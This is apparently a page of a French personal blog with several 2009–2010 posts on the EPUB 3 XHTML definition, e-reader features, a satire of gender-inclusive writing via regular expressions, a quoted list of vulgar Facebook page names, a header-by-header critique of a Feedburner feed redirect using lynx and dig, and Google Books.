Hmm, donc ça doit être HTML 5 ou HTML LS, mais certainement pas HTML5. Mais il y a un indice : normalement, on utilise le mot "XHTML5" uniquement dans un contexte HTML LS, vu que la relation entre ce "XHTML5" et XHTML est au mieux nulle, au pire péjorative. Essayons de confirmer cet indice en allant voir le document de référence, "EPUB Content Documents 3.0" :

The XHTML document type defined by this specification is based on W3C [HTML5], and inherits all definitions of semantics, structure and processing behaviors from the HTML5 specification unless otherwise specified.

Perdu ! En fait c'était HTML 5 et pas HTML LS. Et là, on arrive quand même à une superbe fondation... le type de document XHTML de cette spécification est défini par HTML 5, y compris par les "processing behaviors" définis dans HTML 5, c'est-à-dire, on définit ces types de document XHTML comme n'étant pas du XML ; et en plus, ça contredit le document "EPUB 3 Changes from EPUB 2.0.1" qui ne parlait que de la sérialisation XML du document. Bref, la définition 2.0 de "fondation" est : tas de sable.

Saturday 23 October 2010

Ma bibliothèque numérique, une lecture en spectateur

Karl faisait le point récemment sur les différents systèmes électroniques portables de lecture (il ne mentionne pas électronique, mais il ne parle pas des livres :-)) :

Je regarde de nombreux systèmes portables de lecture (tablette, ereader, etc.). Aucun n'a encore été capable de me séduire. Entre options manquantes et options superflues ou ennuyeuses, je n'arrive pas encore à faire le pas. Ce billet pour me permettre de clarifier ce que je n'aime pas et ce que je désire dans un appareil mobile me permettant d'être actif autour de la lecture, ainsi que les services offrant des textes au format numérique.

Il s'en suit une liste de points négatifs et de désirs en relation avec cette optique ; j'y apporte mon complément :

e-ink, le scintillement du passage entre chaque page
Quand on lit un livre, on n'est pas gêné outre mesure par cette page qui passe devant nos yeux à chaque fois qu'on la tourne ; dans le fil de la lecture, cet artefact visuel est ignoré. Pour l'e-ink, c'est pareil. A partir d'une certaine célérité de rafraichissement de la liseuse, on ne remarque plus ce "scintillement" (difficile de parler de scintillement quand il n'y pas d'agression lumineuse).
Les systèmes de protection des textes (DRM)
Le débat peut être long. Au final, jamais un DRM ne m'a jamais vraiment empêché de profiter d'une œuvre. Du matériel Apple oui par contre.
Les interfaces qui copient la métaphore des pages avec les ombres, les pages que l'on tourne, les bibliothèques en pixels de bois
Ajouter de faux ombrages pour indiquer une reliure qui n'existe pas, exhiber des couvertures comme en tête de gondole, rajouter une animation à chaque mouvement de "page" : je suis bien forcé de dire non là aussi...
Le poids de certains appareils (ipad par exemple)
En même temps, l'iPad est conçu pour les américains bedonnants vautrés dans leurs canapés, le poids est peu important.
La dépendence par rapport à un service unique en ligne
Si le service est bien fait et propose tout ce qui m'intéresse : pourquoi pas. Mais c'est évidemment complètement utopique.

Quelques divergences donc, principalement sur l'e-ink. J'avais moi aussi cette réticence initiale par rapport ce clignotement, mais après quelques milliers de pages lues sur de l'e-ink, force est de constater que :

  1. le cerveau sait parfaitement faire abstraction de ces petits désagréments
  2. il est beaucoup plus adapté de lire un roman sur un écran de 15cm de diagonale (6", standard liseuse électronique, proche livre de poche) que 8,9cm (3,5", standard PDA/téléphone intelligent)
  3. il est toujours illusoire de vouloir lire du contenu mis en page au format magazine sur une liseuse électronique type iPad (24,6cm de diagonale, mais résolution largement insuffisante)
  4. on peut lire des heures durant sur de l'e-ink sans fatigue visuelle, ce qui n'est pas le cas sur des écrans rétro-éclairés (LCD, super-LCD, OLED, AMOLED....)
  5. il est quand même bien agréable de pouvoir bouquiner dehors au soleil, ce que ne permettent pas ces mêmes écrans rétro-éclairés

Là où les vrais divergences arrivent, c'est en effet sur les désirs de Karl. Apparemment, nous n'avons pas les mêmes valeurs (et je tiens à faire remarquer que les rillettes du Loir-et-Cher sont bien meilleures que celles du Mans).

Annoter les textes de commentaires, notes, images au sein du texte.
Je n'annote jamais mes livres, jamais. Pas un coup de surligneur, pas un trait de crayon, rien. Je ne corne pas plus les pages que je ne casse la reliure. Alors où sont mes notes ? Ailleurs, en parallèle, référencées. Cela pourrait passer pour du fétichisme de l'intégrité de l'objet, et quelque part, ça en est peut-être. On pourrait aussi arguer qu'il est limitant de ne pas avoir dans un espace le texte et les notes. Tout dépend de l'objectif qu'on met dans cette prise de notes, si l'on travaille à partir des notes ou qu'on repart du texte. Sautons les autres désirs liés aux annotations.
Sélectionner et partager une partie du texte par mail, ou autre système de communications avec les références du texte (titre, auteur, etc.)
Deux parties dans ce désir : la transmission électronique d'un extrait, et la normalisation du référencement. Autant la deuxième partie est intéressante (mais forcément technique, et déjà que les néo-auteurs qui n'ont pas besoin du "système" n'arrivent pas à faire une mise en page et encore moins à éprouver le besoin de passer par un correcteur, alors demander de fournir des informations permettant un référencement !), autant pour la première je suis plus circonspect. Il ne faut pas avoir peur de devoir taper ce qu'on l'on souhaite transmettre, ça permet de relire plus précisément, de corriger les éventuelles fautes et peut-être tout bêtement de renoncer à cette transmission.
Recherche plein texte à travers tous les livres contenus dans l'appareil et/ou un serveur associé à cet appareil.
Cela peut être intéressant, mais au final ? C'est un désir fortement lié à une exploitation technique d'un texte, et dans cette approche, il y a pour moi nécessité d'avoir un véritable périphérique de saisie riche à proximité immédiate, et de l'environnement de travail qui va avec. Je ne demande pas ça à une liseuse.
Échange de mon livre papier contre la copie électronique de ce même livre sans avoir à le racheter
Bon. Comment ne pas être d'accord ? (Ou au minimum avec un prix réduit)
Système de backup (normalisé) sur un ou plusieurs disques/serveurs externes
Je serais tenté de dire bof. C'est petit de dire bof, et pas très explicite. Une différence entre le numérique et le physique est que l'on est culturellement plus incliné à se soucier de la préservation de nos biens physiques, plus facile à appréhender, plutôt que de nos biens numériques. On va faire attention à ne pas diminuer la beauté éclatante d'un produit Apple, alors qu'en fait il a strictement la même valeur d'usage complètement cabossé et taggué. On va se plaindre de s'être fait voler son iPhone alors que : 1. c'est bien fait, 2. ce n'est pas grave, tu as les moyens de t'en payer un autre, 3. toutes les données sont synchronisées dans iThunes (si l'effort de préservation des données numériques est bien conduit). Il n'en reste pas moins que l'organisation de nos biens physiques est éminemment plus facile à appréhender. Pour en revenir au sujet, si on normalise le système de backup maintenant, on perd une nouvelle chance de sensibiliser les gens à propos de ce sujet. Pour les autres, il reste la DeathCapsule de toute manière.
Système de commercialisation afin de pouvoir revendre le livre à une autre personne en P2P ou à travers des sites d'échanges. Chaque revente permet de verser une somme à l'auteur. (Tout le monde devient libraire).
C'est une idée intéressante, mais difficile à mettre en œuvre sans DRM :-D
Possibilité d'échanger deux textes entre appareils de deux personnes.
Haaa, le fameux squirt du Zune.
Une offre beaucoup plus large de livres. (L'offre de la littérature francophone est pitoyable dans les titres classiques.)
Pourquoi seulement dans les titres classiques ? Il existe un vrai travail à fournir, et il est sûr que la dispersion des énergies n'aide pas.
Mettre sur le même écran côte à côte, deux sections du même texte ou de deux textes différents.
Je préférerais surtout deux écrans en mode "livre".
WIFI
Bof (oui je sais, encore). Quand je lis, je veux me déconnecter (au sens pré-internet du terne). Je ne veux pas d'un périphérique en réseau.
Programmer le système (python, etc.) pour travailler sur les textes ou associer des scripts (bookmarklet)
On rappelle que les périphériques Sony (et d'autres) sont en Linux et qu'on peut les flasher :-)
Unité de stockage rapide comme clé usb
Je préfère encore que mon périphérique puisse lire nativement une carte mémoire externe.
Avoir un serveur Web dans mon appareil que je peux accéder par un réseau local grâce à une autre machine (configuration d'ACL possibles)
Je propose de souder un écran LCD à une SheevaPlug. Comment ça on s'éloigne de l'idée de la liseuse électronique ?

Et je laisse le dernier désir en suspend, on aura bien compris les divergences :-) Que peut-on en déduire au final ? Tout simplement qu'il y a plusieurs publics pour ces périphériques, et que je ne suis pas certain qu'un seul périphérique puisse satisfaire pleinement ces différents publics, ces différents usages.

Sunday 4 April 2010

Passé-e de mod-e ?

Etant en train de tripatouiller le plugin importMT pour rapatrier des données en Atomeuh, je m'aperçois qu'il a été fait par Lunar (pas de lien, "enmarge" a disparu du ouaib), et trouve dans le texte explicatif l'extrait suivant :

Rédacteurs

Veuillez fournir les informations manquantes à propos des auteur-e-s détecté-e-s.

Note : Les identifiants doivent être composés de lettres et de chiffres.

Ca fleure bon le début des années 2000 et les "motivé-e-s" toulousains. On note cependant la présence de certaines fautes (comme la non-neutralisation du "Rédacteurs" en titre), et surtout le peu de rigueur dans l'annonce de la multigenralité des termes employés. Heureusement, l'iPad vient à notre rescousse, avec les expressions régulières. On dira que les expressions régulières n'ont rien à voir avec l'iPad : c'est faux. L'iPad étant l'Α et l'Ω de l'informatique, et l'informatique contenant les expressions régulières, alors l'iPad est autant lié aux expressions régulières qu'un gourou l'est à ses disciples. Les augures me pardonneront par avance, mais nous prendront pour cet exemple la syntaxe PCRE, exemple que voici :

Rédact(?:eur|rice)s

Veuillez fournir les informations manquante?s à propos des aut(?:eur|rice)s détectée?s.

Note : Les identifiante?s doivent être composée?s de lettres et de chiffres.

On notera l'utilisation de l'expression de non capture des groupes ("?:"), il ne faut bien évidemment pas garder en mémoire l'expression trouvée. On notera néanmoins un problème avec cette notation : ici, le masculin "eur" est placé avant le féminin "rice", le choix inverse aurait été tout aussi inégalitaire. La seule solution viable serait de passer à un système d'écriture multiligne, mais, là encore, il y aurait la ligne "du haut" et la ligne "du bas". Il ne reste donc plus comme solution que la superposition :

Rédact(?:eurrice)s

Veuillez fournir les informations manquante?s à propos des aut(?:eurrice)s détectée?s.

Note : Les identifiante?s doivent être composée?s de lettres et de chiffres.

Voilà. L'important, c'est d'aller au bout de la démarche.

Sunday 7 March 2010

Question bête

Vous embaucheriez quelqu'un qui a un profil Facebook public et qui est fan de :

  • S'enculer sous la couette quand on a froid
  • Faire l'amour avec une loutre orpheline, aveugle et atrophiée
  • Sodomie au verre et/ou parpaing pilé
  • S'enculer sous la grêle
  • T'as le bonjour d'Eva ! - Eva qui ? - Eva te faire enculer !

Sincèrement ?

Friday 19 February 2010

Ces faux écolos

La mode aujourd'hui est à l'écologie, à l'attention portée à la consommation des ressources, à l'économie des moyens pour obtenir un résultat satisfaisant. Et pourtant, on trouve sur le web, haut lieu de la réflexion contemporaine (alors, chatroulette ou shadyurl ?), des personnes qui apparaissent pourtant bien sous tout rapport, et pourtant, se laissent aller aux plus infâmes gâchis. Comment repérer ces malotrus ? C'est simple, ils utilisent Google Feedburner, un service gratuit de Google qui a pour seul but de collecter vos informations personnelles et de consommer inutilement des ressources. On peut abréger cette description en "un service de Google" évidemment. Concrètement, comment ça se passe ? Vous demandez à accéder une ressource, par exemple http://www.christian-faure.net/wp-rss2.php (non pas de lien, ce serait gâcher, vous allez voir pourquoi). Cette ressource représente les derniers articles publiés par une personne anonyme sur son blog (pour la définition du mot "anonyme", je vous renvoie au "Grand Hixie Illustré"). Que se passe-t-il pour accéder à cette ressource, dont la représentation physique faisant foi est créée et hébergée sur la machine répondant au nom d'hôte (anonyme lui aussi) www.christian-faure.net ?

$ lynx -dump -head http://www.christian-faure.net/wp-rss2.php
HTTP/1.0 301 Moved Permanently
Date: Fri, 19 Feb 2010 20:35:02 GMT
Server: Apache
X-Powered-By: W3 Total Cache/0.8.5.1
Location: http://www.christian-faure.net/feed/
Connection: close
Content-Type: text/html

Le serveur nous répond que la ressource est un fichier HTML (en même temps, dans le "Grand Hixie Illustré", tout peut être lu en tant que HTML, donc ça n'est pas forcément faux), qui se trouve désormais de façon permanente à l'adresse http://www.christian-faure.net/feed/ . On remarque la discrète entête publicitaire "W3 Total Cache", parce que c'est bien connu, dans l'écosystème Wordpress, la modestie est une vertu cardinale. Poursuivons.

$ lynx -dump -head http://www.christian-faure.net/feed/
HTTP/1.1 302 Found
Date: Fri, 19 Feb 2010 20:55:28 GMT
Server: Apache
X-Powered-By: W3 Total Cache/0.8.5.1
X-Pingback: http://www.christian-faure.net/xmlrpc.php
Last-Modified: Fri, 19 Feb 2010 18:12:53 GMT
ETag: "31c7a84cc6419c0de704b3cc16f1da48"
Location: http://feeds.feedburner.com/christian-faure/wMuM
Connection: close
Content-Type: text/html

On nous a menti ! Toujours pas de représentation, on nous demande d'aller voir du côté de chez Google Feedburner, avec au passage une information, comme quoi la ressource que l'on cherche a été modifiée pour la dernière fois à 18h12 GMT. Ce qui veut dire que le serveur connaît la ressource, connaît la date de dernière modification, mais non, il ne faut pas lui demander à lui. Poursuivons.

$ lynx -dump -head http://feeds.feedburner.com/christian-faure/wMuM
HTTP/1.0 200 OK
Last-Modified: Fri, 19 Feb 2010 20:55:58 GMT
ETag: /2EpcCk4RHnd4V088LU7nfrZhew
Content-Type: text/xml; charset=UTF-8
Date: Fri, 19 Feb 2010 20:58:55 GMT
Expires: Fri, 19 Feb 2010 20:58:55 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: GSE
X-XSS-Protection: 0

Et là, c'est la réponde finale (200 OK). On apprend donc que la ressource a été modifiée pour la dernière fois à 20h55 GMT... ha bon ? Moi on m'a dit y'a même pas deux secondes que c'était 18h12 ? Oui mais non, chez Google, ça vient d'être modifié. C'est conceptuellement faux, mais ça n'est pas grave. Ensuite, Google nous dit que c'est une ressource privée, à expiration immédiate, mais il nous donne en même temps deux paramètres (ETag et Last-Modified) qui ne sont utiles que si la ressource n'expire pas immédiatement. Que de gâchis ! Bon point, il nous signale qu'il sert du XML encodé en UTF-8, et pas le HTML qu'on nous promettait deux requêtes avant. Regardons donc cette ressource tant attendue.

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2frenchfull.xsl"?>
<?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?>
<rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" 
    xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" 
    xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" 
    xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
<channel><title>Christian Fauré</title> 
<link>http://www.christian-faure.net</link>
<description>Hypomnemata : supports de mémoire</description>
<lastBuildDate>Fri, 19 Feb 2010 18:12:53 +0000</lastBuildDate>
<generator>http://wordpress.org/?v=2.9</generator>
<language>fr</language>
<sy:updatePeriod>hourly</sy:updatePeriod>
<sy:updateFrequency>1</sy:updateFrequency>
<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" 
    href="http://feeds.feedburner.com/christian-faure/wMuM" />
<feedburner:info uri="christian-faure/wmum" />
<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" />
<feedburner:emailServiceId>christian-faure/wMuM</feedburner:emailServiceId>
<feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname>
<feedburner:feedFlare
    href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fchristian-faure%2FwMuM" 
    src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare>
<feedburner:feedFlare 
    href="http://www.bloglines.com/sub/http://feeds.feedburner.com/christian-faure/wMuM" 
    src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare>
<feedburner:feedFlare 
    href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fchristian-faure%2FwMuM" 
    src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare>
<feedburner:feedFlare 
    href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fchristian-faure%2FwMuM" 
    src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare>
<feedburner:feedFlare 
    href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fchristian-faure%2FwMuM" 
    src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare>
<feedburner:feedFlare 
    href="http://add.my.yahoo.com/content?lg=fr&url=http%3A%2F%2Ffeeds.feedburner.com%2Fchristian-faure%2FwMuM" 
    src="http://us.i1.yimg.com/us.yimg.com/i/us/my/bn/intatm_fr_1.gif">Subscribe with Mon Yahoo!</feedburner:feedFlare>

Burp aussi. Nous sommes donc en présence d'un RSS en version 2, avec la déclaration de plusieurs préfixes de namespaces, dont un pour Atom, Atom qui conchie les namespaces, parce que les namespaces c'est le mal (cf. le "Grand Hixie Illustré", ce n'est plus un glossaire, c'est une bible). Au passage, Feedburner qui nous disait que la ressource avait été modifiée pour la dernière fois à 20h55, nous dit maintenant que c'était en fait à 18h12 (lastBuildDate) : faudrait savoir. Ensuite, tous les feedFlare sont utilisés uniquement si on regarde cette ressource dans un navigateur internet, mais un navigateur ne sait rien faire de ça, sauf s'il utilise la feuille de transformation référencée en relatif "rss2frenchfull.xsl", enjolivé par la feuille de style référencée en absolu (on n'est pas à une incohérence près) "itemcontent.css". Et grosso-modo, ça ne sert à rien de mettre ces feedFlare ici, ils auraient pu se trouver directement dans la feuille de transformation. Encore du gâchis. Allons directement à la fin.

<!-- This site's performance optimized by W3 Total Cache. Dramatically improve the 
speed and reliability of your blog!

Learn more about our WordPress Plugins: http://www.w3-edge.com/wordpress-plugins/

Minified using disk
Page Caching using disk
Database Caching 10/12 queries in 0.008 seconds using disk

Served from: gmu10.infomaniak.ch @ 2010-02-19 18:21:24 -->

Un peu de publicité, ça manquait. Et pas de la publicité pour temps de cerveau pré-disposé comme Google AdSense, juste de la publicité que personne ne verra jamais : toujours du gâchis. Et puis, un mystérieux "Served from", je croyais être servi par Google moi... qui est ce mystérieux gmu10.infomaniak.ch ? Creusons un peu.

$ dig +short gmu10.infomaniak.ch
93.88.240.25

Hmmm... et à qui demandions nous initialement une ressource ?

$ dig +short www.christian-faure.net
93.88.240.25

C'est bien cela, on a fait le grand tour. Au final, on constate donc qu'internet en général, et les blogueurs en particuliers, sont extrêmement peu soucieux de l'utilisation des ressources qui les entourent, et méritent donc le bonnet d'âne de l'écologie.

Saturday 21 November 2009

Des faux avantages de Google Books

Eric Hellman suit avec attention l'évolution des accords entre le géant de la publicité Google et les éditeurs nord-américains autour du service de numérisation des livres et de leur restitution du dit Google, appelé "Livres de Google" (ou "Google Books" en anglais dans le texte). On peut déjà voir un problème initial dans le nommage, avec la tendance habituelle de Google à s'approprier tout ce qui passe dans ses indexeurs. En deux mots, le principe de Google Books est le suivant :

  • Google empreinte tous les livres sur lesquels il peut mettre la main
  • puis les scanne (extraction d'une image numérique)
  • puis les passe à la Reconnaissance Automatique de Caractères (OCR, transformation en texte)
  • puis classifie comme il peut le livre à partir des données scannées et des informations fournies par le propriétaire du livre (en général une bibliothèque)
  • fourni une interface de recherche dans le contenu de tous ces livres (aux erreurs d'OCR près), et présente certaines pages de ces livres, choisies selon une politique... à déterminer (c'est en partie l'objet de l'accord)
  • et enfin, déclare que Google est le bienfaiteur de l'humanité et que le reste c'est tous des crétins réacs, sauf les éditeurs qui voudront bien signer l'accord qui sont moins crétins que les autres, mais quand même...

A l'occasion d'un billet récent intitulé "L'unicité des phrases et la (non) infraction de J. K. Rowling par Tanya Tucker", dans lequel il étudie comment à partir de certaines phrases d'un Harry Potter il est capable de trouver comment le contenu de ce livre est utilisé sur la toile (il ne regarde ni Usenet ni les autres réseaux). De ces recherches, il en déduit qu'on peut identifier un livre avec nombre très restreint de phrases, et donc, une fois en main les textes originaux, on est capable de faire une approximation très rapide pour déterminer si deux textes (en tant que représentation d'un livre) sont identiques ou pas. Il en déduit les conclusions suivantes :

  1. il sera bientôt très facile pour Google de détecter les copies non autorisées de livres dans son catalogue, et vraisemblablement de les enlever (ie. de ne plus les renvoyer dans les résultats des recherches). Le bénéfices pour les éditeurs de faire cela serait largement supérieur à tous les dommages qu'ils pourraient subir à cause du programme de numérisation de Google Books. Pourquoi les éditeurs ont-ils omis de faire acter un tel processus dans l'accord avec Google négocié pour mettre fin à la procédure judiciaire ?
  2. il ne sera pas difficle à Google de fusionner les doublons dans le catalogue de Google Books
  3. l'hésitation de J.K. Rowling à autoriser la diffusion de ses livres en format électronique est vraiment, vraiment stupide. (Je ne fais que reprendre ses mots)

Pour le premier point, l'idée est que, un éditeur confiant tous les textes de tous les livres qu'il édite à Google, Google sera en mesure d'extraire les phrases significatives ce ces livres, et d'enlever des résultats de recherche les documents qui correspondent à celles-ci. Le but poursuivi est d'empêcher l'internaute de trouver des livres électronique pirates. Pour cela, il faut que l'internaute passe par Google pour faire ses recherches d'éditions pirates, et que Google reconnaisse le format du livre électronique (qui sont souvent au format PDF, indexé par tous les moteurs de recherche, mais de plus en plus souvent directement dans des formats dédiés aux livres électronique (Mobipocket, LIT, eReader, ePub, eBooks, etc) qui à l'heure actuelle ne sont pas tous indexés). Donc si l'éditeur confie tout son fond éditorial à Google, il bloquera potentiellement les téléchargements d'éditions illégales par les personnes qui ne cherchent que du PDF et ce uniquement à travers Google. Les quelques années de recul que l'on a depuis l'émergence de Napster (article de 2000, intéressant à relire) nous montre que tout ça ne servirait pas à grand chose.

Pour le second point, on est bien content qu'il existe des techniques pour que Google arrive à maintenir son catalogue Google Books... parce que là, c'est un peu le boxon, surtout avec les recueils et les anthologies (et ça, quand l'auteur et l'année de parutions sont corrects, ce qui est loin d'être toujours le cas).

Et pour le troisième point... je n'arrive pas à trouver dans l'article la séquence de raisonnement liant les réticences d'un auteur envers la publication électronique et le fait qu'on puisse identifier un livre à partir de quelques phrases clef. Surtout que le fondement de ses réticences n'est exposé ni dans l'article, ni dans l'article lié. Et si c'est lié au piratage (sans doute), le simple fait que Google Books ait plus de livre à se mettre sous la dent ne changera rien à l'affaire.

- page 2 of 15 -